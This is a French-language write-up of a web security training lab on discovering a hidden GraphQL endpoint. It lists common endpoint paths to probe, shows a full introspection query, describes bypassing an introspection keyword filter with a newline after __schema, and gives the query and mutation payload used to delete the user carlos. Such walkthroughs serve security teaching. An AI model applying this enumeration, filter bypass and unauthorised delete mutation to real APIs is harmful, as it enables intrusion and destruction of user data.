Découverte d’un endpoint GraphQL caché

Finding a hidden GraphQL endpoint

Lab: Finding a hidden GraphQL endpoint | Web Security AcademyWebSecAcademy

Contexte du laboratoire

Les fonctionnalités de gestion des utilisateurs de ce laboratoire reposent sur un endpoint GraphQL caché. Il n’est pas possible de le découvrir simplement en naviguant sur le site, et des mécanismes de défense contre l’introspection GraphQL sont en place.

Objectif :

• Identifier l’endpoint GraphQL caché

• Supprimer l’utilisateur carlos

Reconnaissance initiale

En naviguant normalement sur l’application, aucun indice visible ne révèle l’utilisation de GraphQL. Il est donc nécessaire de tester manuellement les chemins GraphQL les plus courants.

Tests des routes GraphQL classiques

Les routes suivantes sont testées

/graphql
/graphiql
/v1/graphql
/v2/graphql
/v3/graphql
/v1/graphiql
/v2/graphiql
/v3/graphiql
/playground
/v1/playground
/v2/playground
/v3/playground
/api/v1/playground
/api/v2/playground
/api/v3/playground
/console
/api/graphql
/api/graphiql
/explorer
/api/v1/graphql
/api/v2/graphql
/api/v3/graphql
/api/v1/graphiql
/api/v2/graphiql
/api/v3/graphiql

La route /api répond avec le message suivant :

"Query not present"

Cela indique clairement la présence d’un endpoint GraphQL actif.

Vérification du filtrage de l’introspection

Une requête d’introspection simple est envoyée via l’URL :

api?query={__schema{types{name}}}

Réponse du serveur :

GraphQL introspection is not allowed, but the query contained __schema or __type

Le même blocage se produit lors de l’envoi d’une requête d’introspection complète via Burp ou GraphiQL.

query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
            ...FullType
        }
        directives {
            name
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
        name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    name
    ofType {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
            }
        }
    }
}

Contournement du blocage de l’introspection

Pour contourner le filtrage basé sur les mots-clés __schema et __type, un saut de ligne est ajouté avant l’accolade ouvrante :

__schema
     {

Cette légère modification permet à la requête d’être acceptée et traitée par le serveur.

Analyse du schéma GraphQL

Une fois l’introspection acceptée, les requêtes découvertes sont envoyées vers le sitemap afin d’être analysées plus facilement.

Deux requêtes importantes sont identifiées.

Récupération d’un utilisateur par ID

Requête permettant d’obtenir le nom d’utilisateur à partir de son identifiant :

query($id: Int!) {
  getUser(id: $id) {
    id
    username
  }
}

En fournissant l’ID suivant :

{
    "id":3
}

On identifie que l’utilisateur avec l’ID 3 correspond à carlos.

Suppression de l’utilisateur carlos

Une mutation permet de supprimer un utilisateur de l’organisation :

mutation($input: DeleteOrganizationUserInput) {
  deleteOrganizationUser(input: $input) {
    user {
      id
      username
    }
  }
}

Payload utilisé :

{
  "input": {
    "id": 3
  }
}

L’utilisateur carlos est alors supprimé avec succès.